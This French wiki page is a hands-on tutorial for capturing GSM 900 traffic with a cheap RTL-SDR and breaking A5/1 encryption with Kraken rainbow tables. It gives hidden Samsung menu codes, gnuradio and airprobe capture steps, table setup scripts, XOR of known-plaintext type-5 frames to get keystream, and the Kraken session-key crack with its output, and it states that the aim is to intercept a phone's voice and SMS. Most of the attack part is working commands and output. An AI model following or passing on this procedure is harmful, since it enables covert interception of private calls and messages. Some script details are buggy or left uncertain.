Hacking:GSM hack France

De HackBBS
Aller à la navigation Aller à la recherche

Matériel requis

  • RTL-SDR (R820T)

Le Rtl-Sdr est un recepteur TNT. Il s'achète pour 20$ en chine. Lorsque l'on exploite le tuneur de ce recepteur, il est possible de capter les fréquences de 24 à 1766 MHz.

Device proposé pour les tests

  • Samsung Galaxy S

Logiciels indispensables

Les pré-requis

Menu caché du SGS

*#*#197328640#*#*
*#0011#

Prérequis logiciel

 Installer boost: 
 wget http://netcologne.dl.sourceforge.net/project/boost/boost/1.54.0/boost_1_54_0.tar.bz2
 tar -vxjf boost_1_54_0.tar.bz2; cd boost_1_54_0; BOOST_PREFIX=/opt/boost_1_54_0; ./bootstrap.sh; ./b2 --prefix=$BOOST_PREFIX --with-thread --with-date_time --with-program_options --with-filesystem --with-system --layout=versioned threading=multi variant=release install
 #Compiler gnuradio
 cmake -DBOOST_ROOT=$BOOST_PREFIX -DBoost_INCLUDE_DIR=$BOOST_PREFIX/include/boost-1_54/ -DBoost_LIBRARY_DIRS=$BOOST_PREFIX/lib ../

Voici les étapes pour intercepter des trames GSM

Dans le cadre de nos tests nous allons intercepter la voix et les sms d'un Samsung Galaxy S 1.

Afin de nous caler sur une fréquence qui peut etre capté par le rtl-sdr nous allons forcer le GSM à utiliser la bande 900. Le GSM 900 utilise la bande 880-915 MHz pour l'envoi de la voix ou des données depuis le mobile et la bande 925-960 MHz pour la réception des informations venant du réseau.

Le téléphone dispose d'un menu secret permettant de forcer l'utilisation d'une bande: 

 *#*#197328640#*#*

Puis on accède au menu 

 [1] DEBUG SCREEN -> [8] PHONE CONTROL -> [7] NETWORK CONTROL -> [2] BAND SELECTION -> [3] GSM BAND[*] -> Puis on active [3] GSM 900 [*]

Nous pouvons vérifier que nous utilisons bien cette bande avec le menu secret: 

 *#0011#

Ok, maintenant le téléphone est sur la bande GSM900. Nous devons maintenant sniffer sur un canal particulier, c'est l'arfcn. En effet, une bande est découpé en canaux. Chacune de ces bandes comprend 175 porteuses (canaux) de 200 kHz chacune ; elles sont, en France réparties entre 4 opérateurs (voir fréquences GSM en France). La modulation utilisée sur ces porteuses est la GMSK, qui permet d'éviter les chevauchements de porteuses.

Pour découvrir sur quel canal se trouve le téléphone, nous pouvons utiliser un autre menu secret: 

 [1] DEBUG SCREEN -> [4] NEIGHBOUR CELL

Lors de ce test, le canal ayant le niveau de puissance le plus fort est: 

 Arfcn_Num ; 37 , rxlev: 38

 [1] DEBUG SCREEN -> [1] BASIC INFORMATION

Le BcchFrq nous donne le numéro du canal Arfcn.


Nous pouvons donc calculer la fréquence corespondant à ce canal avec l'outil arfcncalc: 

 arfcncalc -a 37 -b 900 -d

La fréquence est donc de 942.4Mhz

Sinon un outil en ligne permet de le calculer: www.cellmapper.net/arfcn?net=GSM&ARFCN=8&MNC=0

Avec gqrx, nous pouvons visualiser le spectre, et se caler sur le signal le plus fort. La fréquence est donc de 942.36Mhz.

  • Nous pouvons sniffer cette fréquence et générer un fichier cfile avec gnuradio-companion. Voici le schema gsm.grc utilisé.*

Nous pouvons ensuite visualiser les trames gsm dans wireshark à l'aide de gsm_receiver_rtl.py de la suite airprobe. Dans un premier temps, lancer la version patché de wireshark qui permet de filtrer les trames gsmtap et écouter sur l'interface lo. Ensuite analyser le dump.cfile avec gsm_receive_rtl.py 

 /hack/phreaking/Radio/airprobe/gsm-receiver/src/python$ ./gsm_receive_rtl.py -I /tmp/dump.cfile  -d 1 B0

Les trames s'affichent alors dans wireshark.

Préparer les tables avec behemoth

 * S'inspirer de  www.mail-archive.com/a51@lists.reflextor.com/msg01114.html
 * lists.srlabs.de/pipermail/a51/2010-July/000683.html

 * Renommer tous les dlt en xxx.dlt (ex: 100.dlt)
 * Les placer à la racine d'un disque
 * Se servir de Behemoth.py

Behemoth va créer un indexe de ces rainbowtable(table d'échange, ou table arc-en-ciel). Il va alors générer un fichier tables.conf contenant les disques utilisées, et les offset sur le disque du début de chaque table.

Une table est l'ensemble de tout les hash possible pour un charset donné. Un charset est constitué d'un ensemble de caractère comme [ az-AZ ]. C'est une sorte de dictionnaire.

Behemoth.py va chercher des fichier du type [09]+.dlt Il faut donc placer les 40 tables et les renommer. 

 #!/bin/bash
 for f in *.dlt; do
  echo "Processing $f file...";
  new=`echo $f| cut -d'_' -f 3`
  ln $f $new
 done

Voici un script pour controler que les tables de hash sont parfaites. 

 #!/bin/bash
 control["100"]="6d36bca865ad5f5b3b95e50be5555f0a";   
 control["108"]="d89f2f62a471734fc86844261e709719";   
 control["116"]="9db534d5866cc6c8b18eef0bbf6aceae";   
 control["124"]="0c93864ad638b531dedf10d85880ee79";   
 control["132"]="f0dbac482c9f6d6626a70bf8115515b4";   
 control["140"]="15768f7f5af4e5467304c7162688425d";   
 control["148"]="55b1bed783fd94a1feb06e70af5cd789";   
 control["156"]="cec43159aa1d7ca4982f1c7417b8dd09";   
 control["164"]="9558f5a7152ab8dddc6e5ff819a3fa5f";   
 control["172"]="307cc99d1724bd1b460d7f39d6121048";   
 control["180"]="0cbd427fb98dc9cec05bc8cd9eec53c5";   
 control["188"]="8771eba46785c636e606560265efcb6f";   
 control["196"]="7f4fcaec2da609dd794ecff07f1ad890";   
 control["204"]="69b40dc68cd9d26006f9b1f70ab676ad";   
 control["212"]="9e9861bd2272b58737629b7c34eb1064";  
 control["220"]="032414372c864417a502ef1eaaa42454";   
 control["230"]="6afc1ca6c0005bf2df6782371c56700d";   
 control["238"]="c6a95cda3e55079295cf97706dc9de2e";   
 control["250"]="f54c106d3ea9ef442330c5156c14c832";   
 control["260"]="2cf1377b93139fb2a7ec9f687b272d3c";   
 control["268"]="af8167abdfd178a01b2bb3a2ee4f59c8";   
 control["276"]="d422218e33cb6c421108469940c03d41";   
 control["292"]="6995a5445330b78380b3ba16642318e9";   
 control["324"]="2ecc836a993a3f71cd710c4455e9780e";   
 control["332"]="75340dda19dc1b1ada8108d47461562a";  
 control["340"]="1cc82ad35788afc4acab95f481e3de9d";   
 control["348"]="183a3427843105942e9b0ab0a852c7db";   
 control["356"]="771ec801ac043291b9f134f75f82a31d";   
 control["364"]="59913ab26509afaecd8861a6877b06c6";   
 control["372"]="1bbceb9afda870b76b7e9928409183de";   
 control["380"]="435e2d2755aa5ce9357889bef5ee534f";   
 control["388"]="fabeaa1792045a0ab5471aeac7271481";   
 control["396"]="98de5b58c98fafc5ada3897eddf7f31a";   
 control["404"]="5bc5814694b412cfb4ba52198492ba1b";   
 control["412"]="4518baa2a1156451cbc0952eb216cb5f";   
 control["420"]="3985446a74105d15f6c4b8bd0467771b";   
 control["428"]="44f06b97410bda5b029754de9cc87db4";   
 control["436"]="c3c48ba123a1ebd9ea6f0abaa56ac475"; 
 control["492"]="a0006b7b58e01b97d6bce1b43b015343";  
 control["500"]="fa47f2242230b69c5ae7a1196ea0311f"
 
 for f in "${!control[@]}"; do
   export hash=`nice -n 0 md5sum $f.dlt`;
   export expected="${control[$f]}  $f.dlt";
   echo "Fait:  $f.dlt" > md5Done.txt;
   if $expected != $hash  
    then echo "/!\ Different Fichier $f hash:$hash control:${control[$f]}"
    #echo "expected:${control[$f]}"
   fi
 
 done &
 # echo "Hash: $hash"

Maintenant que les tables sont téléchargé et vérifié, on va pouvoir les écrire sur un disque de 2To.

On peut alors lancer Behemoth.py de Kraken. Il va falloir 4To en tout. Les 2To de fichier .dlt et 2To de fichier .idx qui vont être généré avec Behemoth. On va utiliser un disque vierge de 2To /dev/sde1 qui contiendra nos fichiers dlt. 

 mount /dev/sde1 /mnt/dltKraken

On va placer Kraken sur ce disque. 

 cd /mnt/dltKraken	
 cp -rf /source/kraken /mnt/dltKraken/

Il faut un fichier /mnt/dltKraken/tables.conf pour Behemoth qui va contenir le node de ce disque de destination(2To): 

 Device: /dev/sdd1 40

/!\ Le disque de destination va être réécrit en grande partie. Les données seront écrasées.

On doit monter ce disque: 

 mount /dev/sdd1 /mnt/dst    /!\ Le disque doit-il vraiment être monté?

On peut ensuite lancer Behemoth en lui indiquant où il va trouver les sources en .dlt 

 /mnt/dltKraken/$ sudo ./indexes/Behemoth.py /mnt/dltKraken

Au fichier */mnt/dltKraken/tables.conf* behemoth va inclure les indexes de chaque offset pour chaque table sur le(s) disque(s).

  1. Devices: dev/node max_tables

Device: /dev/mapper/Zanorg-root 40

  1. Tables: dev id(advance) offset
 Table: 0 132 10235086
 Table: 0 324 286566544
 Table: 0 172 40969789
 Table: 0 388 235403561
 Table: 0 396 173999725
 Table: 0 404 194467391
 Table: 0 260 143291756
 Table: 0 412 153536985
 Table: 0 364 122825759
 Table: 0 180 296801556
 Table: 0 292 102363709
 Table: 0 220 399139151
 Table: 0 372 112596452
 Table: 0 428 0
 Table: 0 436 71667455
 Table: 0 500 30736294
 Table: 0 188 245637901
 Table: 0 492 327502453
 Table: 0 100 266108608	
 Table: 0 164 20505860
 Table: 0 196 255877713	
 Table: 0 140 184229975	
 Table: 0 204 347961807	
 Table: 0 156 61435100	
 Table: 0 212 317269082	
 Table: 0 420 51203082	
 Table: 0 348 163770598	
 Table: 0 148 337732312	
 Table: 0 356 225171847	
 Table: 0 230 358191796	
 Table: 0 340 378658386	
 Table: 0 380 388890708	
 Table: 0 108 133057445	
 Table: 0 238 81901548
 Table: 0 116 214939911
 Table: 0 268 92131489
 Table: 0 332 368426161
 Table: 0 276 276337464
 Table: 0 250 204699650
 Table: 0 124 307030440

Behemoth va générer les index de ces tables(extension en .idx) dans le répertoire /mnt/dltKraken/kraken


Tester Kraken

On va maintenant pouvoir tester si nos tables nous permettent de déchiffrer des trames GSM de test. Pour cela il faut lancer kraken. 

korigan@Zanorg:/mnt/dltKraken/kraken#Kraken/kraken  .
Device: /dev/mapper/Zanorg-root 40
/dev/mapper/Zanorg-root
Allocated 41404056 bytes: ./132.idx
Allocated 41259888 bytes: ./324.idx
Allocated 41252956 bytes: ./172.idx
Allocated 41257176 bytes: ./388.idx
Allocated 41240688 bytes: ./396.idx
Allocated 41248788 bytes: ./404.idx
Allocated 41301076 bytes: ./260.idx
Allocated 41254252 bytes: ./412.idx
Allocated 41246480 bytes: ./364.idx
Allocated 41235184 bytes: ./180.idx
Allocated 41250740 bytes: ./292.idx
Allocated 41230652 bytes: ./220.idx
Allocated 41236892 bytes: ./372.idx
Allocated 41260184 bytes: ./428.idx
Allocated 41256180 bytes: ./436.idx
Allocated 41253772 bytes: ./500.idx
Allocated 41279240 bytes: ./188.idx
Allocated 41239116 bytes: ./492.idx
Allocated 41235072 bytes: ./100.idx
Allocated 41241432 bytes: ./164.idx
Allocated 41243292 bytes: ./196.idx
Allocated 41269576 bytes: ./140.idx
Allocated 41239636 bytes: ./204.idx
Allocated 41249180 bytes: ./156.idx
Allocated 41253276 bytes: ./212.idx
Allocated 41247816 bytes: ./420.idx
Allocated 41236164 bytes: ./348.idx
Allocated 41237644 bytes: ./148.idx
Allocated 41246592 bytes: ./356.idx
Allocated 41257276 bytes: ./230.idx
Allocated 41249048 bytes: ./340.idx
Allocated 41314028 bytes: ./380.idx
Allocated 41257060 bytes: ./108.idx
Allocated 41239444 bytes: ./238.idx
Allocated 41247488 bytes: ./116.idx
Allocated 41248632 bytes: ./268.idx
Allocated 41248652 bytes: ./332.idx
Allocated 41235976 bytes: ./276.idx
Allocated 41281052 bytes: ./250.idx
Allocated 41274520 bytes: ./124.idx
Tables: 132,324,172,388,396,404,260,412,364,180,292,220,372,428,436,500,188,492,100,164,196,140,204,156,212,420,348,148,356,230,340,380,108,238,116,268,332,276,250,124
Error when opening A5Cpu.so: ./A5Cpu.so: cannot open shared object file: No such file or directory
Commands are: crack test quit

Kraken>test
Cracking 001101110011000000001000001100011000100110110110011011010011110001101010100100101111111010111100000110101001101011
...

Maintenant nous pouvons cracker les trames.

Trouver la clef Kc

L'attaque sur l'A5/1 repose principalement sur le faite que les trames "Système information, type 5" sont répété à intervale régulier. Avant la commande de chiffrement, ces trames sont envoyé en clair. Nous pouvons cependant réaliser une attaque basé sur la connaissance du texte en clair sur le flux chiffré.

Sniffer les trames de type 5

Maintenant que tout est prèt, nous pouvons tenter différentes aproches.

Manuel

Nous allons:

  • utiliser gnuradio-companion et le schema gsm.grc pour sniffer les trames.
  • Ouvrir wireshark et écouter sur lo
  • Exécuter gsm_receive_rtl.py pour traiter les frames qui vont alors s'afficher dans wireshark
  • (optionnel) Utiliser wireshark pour visualiser une frame qui match GSM TAP Header, *identifier* le numéro de frame (GSM TAP Header -> GSM Frame Number)
  • Utiliser tcpdump pour filtrer les trames de type 5. Il nous en faut au moins deux (dont une en clair??)
  • Analyser le résultat de gsm_receive_rtl.py et récuupérer le block de la trame *identifiée*.

Example: 

C1 862242 1332356: 0010000000011100001000000011001000110000011000001100...
P1 862242 1332356: 0010000000011100001000000011001000110000011000001100...
S1 862242 1332356: 0000000000000000000000000000000000000000000000000000...
C0 862243 1332389: 0000000001010010001000000000001010000000011010110100...
P0 862243 1332389: 0000000001010010001000000000001010000000011010110100...
S0 862243 1332389: 0000000000000000000000000000000000000000000000000000...
C0 862244 1332422: 1000000101001010000000011110000000000101000001000100...
P0 862244 1332422: 1000000101001010000000011110000000000101000001000100...
S0 862244 1332422: 0000000000000000000000000000000000000000000000000000...
C0 862245 1332455: 1100000001001001000001010000110101010010000001000001...
P0 862245 1332455: 1100000001001001000001010000110101010010000001000001...
S0 862245 1332455: 0000000000000000000000000000000000000000000000000000...
862245 1: 00 01 03 03 49 06 1d 9f 6d 18 10 80 00 00 00 00 00 00 00 00 0...
Les lignes commençant par *C* 
C
sont les trames chiffré,
P
sont les trames en clair
S
est le keystream. 
Le texte chiffré est obtenu en faisant un XOR entre le texte clair et le keystream.
Comme la clef n'a pas été envoyée, le texte en clair est egal au texte chiffré.

How-to en quelques étapes

Maintenant on va pouvoir procéder à l'extraction de la clef. L'attaque se base sur 2 trames de type 5:

  • On va intercepter une trame A
  • Repérer l'offset en seconde d'une trame B et calculer la difference avec l'offset en seconde de la trame A
  • On a donc la différence de temps entre les deux trames, et on connait donc le contenu de B puisque la seule chose qui change c'est le timestamp dans le paquet.
  • Pour comparer les deux paquet, il faut qu'il soit identique. On va donc injecter le timestamp du paquet A dans le paquet B avec gsmframedecoder.
wget http://132.230.132.75/download/misc/gsmframecoder.tar.gz
tar -zxvf gsmframecoder.tar.gz cd gsmframecoder/

En entrée on lui fournit la représentation hexadécimale de la frame A avec le timestamp corrigé. 

./gsmframecoder 00 00 03 03 49 06 1d 9f 6d 18 10 80 00 00 00 00 00 00 00 00 00 00 00

En sortie on récupère 4 burst. 

Decoding 0000030349061d9f6d1810800000000000000000000000
Encoded Frame, Burst1:
00100000000101000010000000110010001000001100000010000000011010100000000...
Encoded Frame, Burst2:
00000000011110100011000010000010110000001110101000000000001001010100000...
Encoded Frame, Burst3:
10010001010010100000000101100001000001010000000101000000000100000011000...
Encoded Frame, Burst4:
11000000110010010000010100001001010100000000000000010000000101010000101...

Maintenant on va pouvoir comparer la trame en clair (A) et la trame chiffré (B) pour calculer le flux de chiffrement. Il suffit de faire un XOR entre les deux pour récupérer le flux de chiffrement.

  • C1 avec burst1
  • 1st C0 avec burst 2
  • 2nd C0 avec burst 3
  • 4th C0 with burst 4

Cela peut être fait avec xor.py dans le réprtoire d'outils de kraken. 

./Utilities/xor.py 001000000001010000100000001100100010000011000000100000000110101000000000001011010001000000110100001000101001000110 0100101000101 11111011010010010111000000101010000100100111111001010100111110000101001110
000101110100011111000010001 011010100011101111111010011110011010000110010000000100111001100010100111111011111000110000011010101011010001010111
./Utilities/xor.py 0000000001111010001100001000001011000000111010100000...
./Utilities/xor.py 1001000101001010000000010110000100000101000000010100...
./Utilities/xor.py 1100000011001001000001010000100101010000000000000001...

Maintenant on va pouvoir cracker ces keystream avec kraken.

Crack avec Kraken

Maintenant on peut utiliser la commande "crack" de kraken sur les différents keystream. En cas d'echec, essayer le suivant: 

Kraken> crack 101111111110010000001001001111100100001110100011010110111000
011110110011001101000000011000110010110100000100011000
Cracking 10111111111001000000100100111110010000111010001101011011100001...
Found d5eb21665d2b8f25 @ 13 #2 (table:172)
crack #2 took 197996 msec

Cela signifie que la clef "d5eb21665d2b8f25" à généré la bonne sortie à la sortie "13" après 100 rotations.

Récupérée de « https://wiki.hackbbs.org/index.php?title=Hacking:GSM_hack_France&oldid=5795 »